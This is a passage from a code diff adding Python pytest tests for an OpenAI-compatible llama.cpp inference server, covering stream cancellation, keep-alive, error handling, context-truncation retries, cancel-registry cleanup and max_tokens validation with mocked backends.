"unused", + generate_chat_completion_with_tools = _tools, + ) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(inf_mod, "_select_request_tools", fake_select_tools) + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "hi"}], + enable_tools = True, + ) + task = asyncio.create_task( + openai_chat_completions( + payload, + request = self._Request(), + current_subject = "test", + ) + ) + assert await asyncio.to_thread(started.wait, 1.0) + + task.cancel() + with pytest.raises(asyncio.CancelledError): + await asyncio.wait_for(task, timeout = 1.0) + + assert released.is_set() + assert get_llama_admission_queue("http://llama.tool.test").snapshot().active == 0 + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + def test_non_streaming_gguf_n_records_all_monitor_replies(self, monkeypatch): import routes.inference as inf_mod @@ -1442,6 +3216,58 @@ class TestGgufVisionToolRouting: assert entry["completion_tokens"] == 3 assert monitor.active_count() == 0 + def test_non_streaming_gguf_cancel_drains_worker(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + started = threading.Event() + released = threading.Event() + + def _generate(**kwargs): + cancel_event = kwargs["cancel_event"] + started.set() + while not cancel_event.is_set(): + time.sleep(0.005) + released.set() + yield from () + + backend = SimpleNamespace( + is_loaded = True, + is_vision = False, + supports_tools = False, + _is_audio = False, + model_identifier = "test-gguf", + context_length = 4096, + generate_chat_completion = _generate, + ) + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "get_llama_cpp_backend", lambda: backend) + + payload = ChatCompletionRequest( + model = "default", + messages = [{"role": "user", "content": "hi"}], + ) + task = asyncio.create_task( + openai_chat_completions( + payload, + request = self._Request(), + current_subject = "test", + ) + ) + assert await asyncio.to_thread(started.wait, 1.0) + + task.cancel() + with pytest.raises(asyncio.CancelledError): + await asyncio.wait_for(task, timeout = 1.0) + + assert released.is_set() + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + def test_standard_gguf_merges_system_and_developer_messages(self, monkeypatch): import routes.inference as inf_mod @@ -1552,6 +3378,848 @@ class TestApiMonitorProviderAndCompletionStreams: async def is_disconnected(self): return False + async def _run_passthrough_stream( + self, + monkeypatch, + lines, + stream_options = None, + ): + import routes.inference as inf_mod + + class Request: + async def is_disconnected(self): + return False + + async def fake_send(*_args, **_kwargs): + return httpx.Response(200, content = b"") + + async def fake_items(*_args, **_kwargs): + for line in lines: + yield line + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + stream_options = stream_options, + tools = [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ], + ) + + response = await _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + "chatcmpl-test", + monitor_id = monitor_id, + ) + chunks = [chunk async for chunk in response.body_iterator] + return SimpleNamespace(chunks = chunks, body = "".join(chunks), monitor = monitor) + + def test_passthrough_stream_preheader_dispatched_with_timeout(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + + async def fake_send(*_args, **_kwargs): + await gate.wait() + return httpx.Response(200, content = b"") + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + ) + + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 5.0, + ) + assert isinstance(response, _SameTaskStreamingResponse) + + gate.set() + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + assert "data: [DONE]\n\n" in "".join(chunks) + + asyncio.run(_run()) + + def test_passthrough_stream_forwards_backend_auth_headers(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + captured_headers = {} + + async def fake_send(_client, req, *_args, **_kwargs): + captured_headers.update(dict(req.headers)) + return httpx.Response(200, content = b"") + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + tools = [ + { + "type": "function", + "function": { + "name": "lookup", + "parameters": {"type": "object", "properties": {}}, + }, + } + ], + ) + response = await _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _auth_headers = {"Authorization": "Bearer secret"}, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ) + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + + assert "data: [DONE]\n\n" in "".join(chunks) + assert captured_headers["authorization"] == "Bearer secret" + assert captured_headers["connection"] == "close" + + asyncio.run(_run()) + + def test_passthrough_stream_keepalive_while_upstream_headers_are_pending(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + + async def fake_send(*_args, **_kwargs): + await gate.wait() + return httpx.Response(200, content = b"") + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr( + inf_mod, + "_OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S", + 0.01, + ) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + ) + + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 0.2, + ) + + first = await asyncio.wait_for(response.body_iterator.__anext__(), timeout = 0.2) + assert first == ": keep-alive\n\n" + + gate.set() + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + body = "".join(chunks) + assert "data: [DONE]\n\n" in body + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_non_200_in_window(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + async def fake_send(*_args, **_kwargs): + return httpx.Response(400, content = b'{"error":"bad"}') + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + ) + with pytest.raises(HTTPException) as exc: + await _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ) + assert exc.value.status_code == 400 + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_request_error_in_window(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + async def fake_send(*_args, **_kwargs): + raise httpx.ConnectError("connectivity issue") + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + ) + with pytest.raises(HTTPException) as exc: + await _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ) + assert exc.value.status_code == 502 + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_delayed_non_200_returns_sse_error(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + + async def fake_send(*_args, **_kwargs): + await gate.wait() + return httpx.Response(400, content = b'{"error":"bad"}') + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + ) + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 5.0, + ) + assert isinstance(response, _SameTaskStreamingResponse) + gate.set() + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + body = "".join(chunks) + assert "data:" in body + assert '"error"' in body + assert "data: [DONE]" in body + [entry] = monitor.snapshot() + assert entry["status"] == "error" + assert "bad" in entry["error"] + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_delayed_context_error_keeps_error_envelope( + self, monkeypatch + ): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + ctx_msg = "request (4096 tokens) exceeds the available context size (2048 tokens)" + + async def fake_send(*_args, **_kwargs): + await gate.wait() + return httpx.Response(400, content = ctx_msg.encode("utf-8")) + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + ) + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 2048, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 5.0, + ) + assert isinstance(response, _SameTaskStreamingResponse) + + gate.set() + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + body = "".join(chunks) + events = [ + line.removeprefix("data: ") + for line in body.splitlines() + if line.startswith("data: ") + ] + assert events[-1] == "[DONE]" + payload = json.loads(events[0]) + assert payload["error"]["code"] == "context_length_exceeded" + assert payload["error"]["param"] == "messages" + assert isinstance(payload["error"], dict) + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_delayed_context_error_retries_truncation( + self, monkeypatch + ): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + calls = [] + err_body = json.dumps( + { + "error": { + "message": "request (10000 tokens) exceeds the available context size (2048 tokens)", + "n_prompt_tokens": 10000, + "n_ctx": 2048, + } + } + ).encode("utf-8") + + async def fake_send(_client, req, *_args, **_kwargs): + calls.append(json.loads(req.content.decode("utf-8"))) + if len(calls) == 1: + await gate.wait() + return httpx.Response(400, content = err_body) + return httpx.Response(200, content = b"") + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + messages = [ + ChatMessage(role = "system", content = "system"), + *[ + ChatMessage(role = "user", content = f"turn {idx} " + ("x" * 1000)) + for idx in range(8) + ], + ] + payload = ChatCompletionRequest( + model = "default", + messages = messages, + stream = True, + context_overflow = "truncate_middle", + ) + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 2048, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 5.0, + ) + assert isinstance(response, _SameTaskStreamingResponse) + + gate.set() + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + assert "data: [DONE]\n\n" in "".join(chunks) + assert len(calls) == 2 + assert len(calls[1]["messages"]) < len(calls[0]["messages"]) + [entry] = monitor.snapshot() + assert entry["status"] == "completed" + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_immediate_context_retry_adopts_delayed_response( + self, monkeypatch + ): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + calls = [] + err_body = json.dumps( + { + "error": { + "message": "request (10000 tokens) exceeds the available context size (2048 tokens)", + "n_prompt_tokens": 10000, + "n_ctx": 2048, + } + } + ).encode("utf-8") + ok_lines = [ + 'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,' + '"model":"gguf","choices":[{"index":0,"delta":{"content":"OK"},' + '"finish_reason":null}]}', + 'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,' + '"model":"gguf","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}', + "data: [DONE]", + ] + + async def fake_send(_client, req, *_args, **_kwargs): + calls.append(json.loads(req.content.decode("utf-8"))) + if len(calls) == 1: + return httpx.Response(400, content = err_body) + await gate.wait() + return httpx.Response(200, content = b"") + + async def fake_items(*_args, **_kwargs): + for line in ok_lines: + yield line + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items) + + messages = [ + ChatMessage(role = "system", content = "system"), + *[ + ChatMessage(role = "user", content = f"turn {idx} " + ("x" * 1000)) + for idx in range(8) + ], + ] + payload = ChatCompletionRequest( + model = "default", + messages = messages, + stream = True, + context_overflow = "truncate_middle", + ) + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 2048, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 0.2, + ) + assert isinstance(response, _SameTaskStreamingResponse) + + gate.set() + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + body = "".join(chunks) + + assert "OK" in body + assert "context_length_exceeded" not in body + assert len(calls) == 2 + assert len(calls[1]["messages"]) < len(calls[0]["messages"]) + [entry] = monitor.snapshot() + assert entry["status"] == "completed" + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_delayed_request_error_cleans_up(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + cancel_id = "delayed-request-error-cancel" + + async def fake_send(*_args, **_kwargs): + await gate.wait() + raise httpx.ConnectError("delayed connectivity issue") + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + cancel_id = cancel_id, + ) + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 5.0, + ) + assert isinstance(response, _SameTaskStreamingResponse) + assert cancel_id in inf_mod._CANCEL_REGISTRY + + gate.set() + chunks = [ + chunk.decode() if isinstance(chunk, bytes) else chunk + async for chunk in response.body_iterator + ] + body = "".join(chunks) + assert "data:" in body + assert '"error"' in body + [entry] = monitor.snapshot() + assert entry["status"] == "error" + assert "Lost connection" in entry["error"] + assert cancel_id not in inf_mod._CANCEL_REGISTRY + + asyncio.run(_run()) + + def test_passthrough_stream_preheader_cancel_cleans_pending_send(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + entered = asyncio.Event() + cancelled = asyncio.Event() + cancel_id = "preheader-cancel-cleanup" + + async def fake_send(*_args, **_kwargs): + entered.set() + try: + await asyncio.Event().wait() + except asyncio.CancelledError: + cancelled.set() + raise + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + cancel_id = cancel_id, + ) + task = asyncio.create_task( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ) + ) + await asyncio.wait_for(entered.wait(), timeout = 5.0) + assert cancel_id in inf_mod._CANCEL_REGISTRY + + task.cancel() + with pytest.raises(asyncio.CancelledError): + await task + await asyncio.wait_for(cancelled.wait(), timeout = 5.0) + assert cancel_id not in inf_mod._CANCEL_REGISTRY + + asyncio.run(_run()) + + def test_passthrough_stream_unstarted_cleanup_closes_completed_send_response(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + gate = asyncio.Event() + returned = asyncio.Event() + cancel_id = "unstarted-completed-send-cleanup" + + class Stream(httpx.AsyncByteStream): + async def __aiter__(self): + if False: + yield b"" + + stream = Stream() + upstream_response = httpx.Response(200, stream = stream) + + async def fake_send(*_args, **_kwargs): + await gate.wait() + returned.set() + return upstream_response + + class Request: + async def is_disconnected(self): + return False + + monitor = ApiMonitor(max_entries = 3) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) + + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + cancel_id = cancel_id, + ) + response = await asyncio.wait_for( + _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "chatcmpl-test", + "chatcmpl-test", + monitor_id = monitor_id, + ), + timeout = 5.0, + ) + assert isinstance(response, _SameTaskStreamingResponse) + assert cancel_id in inf_mod._CANCEL_REGISTRY + + gate.set() + await asyncio.wait_for(returned.wait(), timeout = 5.0) + await asyncio.sleep(0) + await response._unstarted_cleanup() + assert upstream_response.is_closed + assert cancel_id not in inf_mod._CANCEL_REGISTRY + + asyncio.run(_run()) + def test_external_non_streaming_json_updates_monitor(self, monkeypatch): async def _run(): import routes.inference as inf_mod @@ -1796,6 +4464,150 @@ class TestApiMonitorProviderAndCompletionStreams: asyncio.run(_run()) + def test_completions_omitted_max_tokens_falls_back_to_context(self, monkeypatch): + # With no env knobs set, an omitted max_tokens must forward the + # backend's context length, exactly as on main. + async def _run(): + import routes.inference as inf_mod + + class Request: + state = SimpleNamespace() + url = SimpleNamespace(path = "/v1/completions") + method = "POST" + + async def json(self): + return {"prompt": "hi", "stream": False} + + captured = [] + + class CapturingClient: + async def post(self, _url, *, json, **_kwargs): + captured.append(dict(json)) + return httpx.Response( + 200, + json = { + "id": "cmpl-test", + "choices": [{"text": "ok"}], + "usage": { + "prompt_tokens": 1, + "completion_tokens": 1, + "total_tokens": 2, + }, + }, + ) + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: CapturingClient()) + monkeypatch.setattr( + inf_mod, + "get_llama_cpp_backend", + lambda: SimpleNamespace( + is_loaded = True, + base_url = "http://llama.test", + context_length = 4096, + model_identifier = "gguf", + ), + ) + + await openai_completions(Request(), current_subject = "test") + + assert captured[0]["max_tokens"] == 4096 + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_completions_forwards_spec_valid_zero_max_tokens(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + class Request: + state = SimpleNamespace() + url = SimpleNamespace(path = "/v1/completions") + method = "POST" + + async def json(self): + return {"prompt": "hi", "stream": False, "max_tokens": 0} + + captured = [] + + class CapturingClient: + async def post(self, _url, *, json, **_kwargs): + captured.append(dict(json)) + return httpx.Response( + 200, + json = { + "id": "cmpl-test", + "choices": [{"text": "", "finish_reason": "length"}], + "usage": { + "prompt_tokens": 1, + "completion_tokens": 0, + "total_tokens": 1, + }, + }, + ) + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: CapturingClient()) + monkeypatch.setattr( + inf_mod, + "get_llama_cpp_backend", + lambda: SimpleNamespace( + is_loaded = True, + base_url = "http://llama.test", + context_length = 4096, + model_identifier = "gguf", + ), + ) + + await openai_completions(Request(), current_subject = "test") + + assert captured[0]["max_tokens"] == 0 + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_completions_rejects_non_integer_max_tokens_before_forwarding(self, monkeypatch): + async def _run(): + import routes.inference as inf_mod + + class Request: + state = SimpleNamespace() + url = SimpleNamespace(path = "/v1/completions") + method = "POST" + + async def json(self): + return {"prompt": "hi", "stream": False, "max_tokens": "128"} + + class UnusedClient: + async def post(self, *_args, **_kwargs): + raise AssertionError("invalid max_tokens must not reach llama-server") + + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: UnusedClient()) + monkeypatch.setattr( + inf_mod, + "get_llama_cpp_backend", + lambda: SimpleNamespace( + is_loaded = True, + base_url = "http://llama.test", + context_length = 4096, + model_identifier = "gguf", + ), + ) + + with pytest.raises(HTTPException) as exc: + await openai_completions(Request(), current_subject = "test") + + assert exc.value.status_code == 400 + assert exc.value.detail["error"]["param"] == "max_tokens" + assert exc.value.detail["error"]["code"] == "invalid_type" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + def test_monitor_openai_chunk_records_all_choice_replies(self, monkeypatch): import routes.inference as inf_mod @@ -1942,6 +4754,8 @@ class TestApiMonitorProviderAndCompletionStreams: yield 'data: {"choices":[{"delta":{"content":"hello"}}]}' await asyncio.sleep(3600) + cancel_id = "passthrough-stream-delete-cancel" + monitor = ApiMonitor(max_entries = 3) monkeypatch.setattr(inf_mod, "api_monitor", monitor) monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send) @@ -1956,6 +4770,7 @@ class TestApiMonitorProviderAndCompletionStreams: model = "default", messages = [ChatMessage(role = "user", content = "hi")], stream = True, + cancel_id = cancel_id, tools = [ { "type": "function", @@ -1973,6 +4788,7 @@ class TestApiMonitorProviderAndCompletionStreams: SimpleNamespace( base_url = "http://llama.test", context_length = 4096, + _auth_headers = {"Authorization": "Bearer secret"}, _request_reasoning_kwargs = lambda *_args, **_kwargs: None, ), payload, @@ -1980,9 +4796,11 @@ class TestApiMonitorProviderAndCompletionStreams: "chatcmpl-test", monitor_id = monitor_id, ) + assert isinstance(response, _SameTaskStreamingResponse) iterator = response.body_iterator first = await anext(iterator) assert "hello" in first + assert cancel_id in inf_mod._CANCEL_REGISTRY pending = asyncio.create_task(anext(iterator)) await asyncio.sleep(0) @@ -1994,6 +4812,660 @@ class TestApiMonitorProviderAndCompletionStreams: assert entry["status"] == "cancelled" assert entry["reply"] == "hello" assert monitor.active_count() == 0 + assert cancel_id not in inf_mod._CANCEL_REGISTRY + + asyncio.run(_run()) + + def test_passthrough_stream_immediate_task_cancel_releases_admission_and_tracker( + self, monkeypatch + ): + async def _run(): + import routes.inference as inf_mod + + async def fake_cancel_check(*_args, **_kwargs): + raise asyncio.CancelledError() + + cancel_id = "passthrough-stream-immediate-task-cancel" + monitor = ApiMonitor(max_entries = 3) + monkeypatch.setattr(inf_mod, "api_monitor", monitor) + monkeypatch.setattr( + inf_mod, + "_raise_if_openai_admission_cancelled", + fake_cancel_check, + ) + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + cancel_id = cancel_id, + ) + backend = SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + effective_parallel_slots = 1, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ) + monitor_id = monitor.start( + endpoint = "/v1/chat/completions", + method = "POST", + model = "gguf", + prompt = "hi", + ) + + with pytest.raises(asyncio.CancelledError): + await _openai_passthrough_stream( + self._Request(), + threading.Event(), + backend, + payload, + "gguf", + "chatcmpl-test", + monitor_id = monitor_id, + ) + + assert cancel_id not in inf_mod._CANCEL_REGISTRY + assert get_llama_admission_queue("http://llama.test").snapshot().active == 0 + [entry] = monitor.snapshot() + assert entry["status"] == "cancelled" + assert monitor.active_count() == 0 + + asyncio.run(_run()) + + def test_passthrough_stream_queued_cancel_before_inner_first_chunk_runs_cleanup( + self, monkeypatch + ): + async def _run(): + import routes.inference as inf_mod + + class Request(self._Request): + app = SimpleNamespace(state = SimpleNamespace(llama_parallel_slots = 1)) + + body_holder = {} + cleanup_called = threading.Event() + + async def fake_admitted(*_args, admission_lease, tracker, **_kwargs): + async def cleanup(): + admission_lease.release() + tracker.__exit__(None, None, None) + cleanup_called.set() + + class BlockingBody: + def __init__(self): + self.started = threading.Event() + self.closed = False + + def __aiter__(self): + return self + + async def __anext__(self): + self.started.set() + await asyncio.sleep(3600) + raise StopAsyncIteration + + async def aclose(self): + self.closed = True + await cleanup() + + body = BlockingBody() + body_holder["body"] = body + return _SameTaskStreamingResponse( + body, + media_type = "text/event-stream", + unstarted_cleanup = cleanup, + ) + + monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.01") + monkeypatch.setattr( + inf_mod, + "_openai_passthrough_stream_admitted", + fake_admitted, + ) + + queue = get_llama_admission_queue("http://llama.test") + blocker = queue.reserve(capacity = 1, config = LlamaAdmissionConfig()).lease_nowait() + assert blocker is not None + + cancel_id = "queued-inner-unstarted-cleanup" + payload = ChatCompletionRequest( + model = "default", + messages = [ChatMessage(role = "user", content = "hi")], + stream = True, + cancel_id = cancel_id, + ) + response = await _openai_passthrough_stream( + Request(), + threading.Event(), + SimpleNamespace( + base_url = "http://llama.test", + context_length = 4096, + effective_parallel_slots = 1, + _request_reasoning_kwargs = lambda *_args, **_kwargs: None, + ), + payload, + "gguf", + "chatcmpl-test", + ) + iterator = response.body_iterator + try: + chunk = await asyncio.wait_for(iterator.__anext__(), timeout = 0.2) + assert chunk == ": keep-alive\n\n" + assert cancel_id in inf_mod._CANCEL_REGISTRY + + blocker.release() + pending = asyncio.create_task(iterator.__anext__()) + for _ in range(100): + if "body" in body_holder: + break + await asyncio.sleep(0.01) + body = body_holder["body"] + assert await asyncio.to_thread(body.started.wait, 1.0) + + pending.cancel() + with pytest.raises(asyncio.CancelledError): + await asyncio.wait_for(pending, timeout = 1.0) + finally: + aclose = getattr(iterator, "aclose", 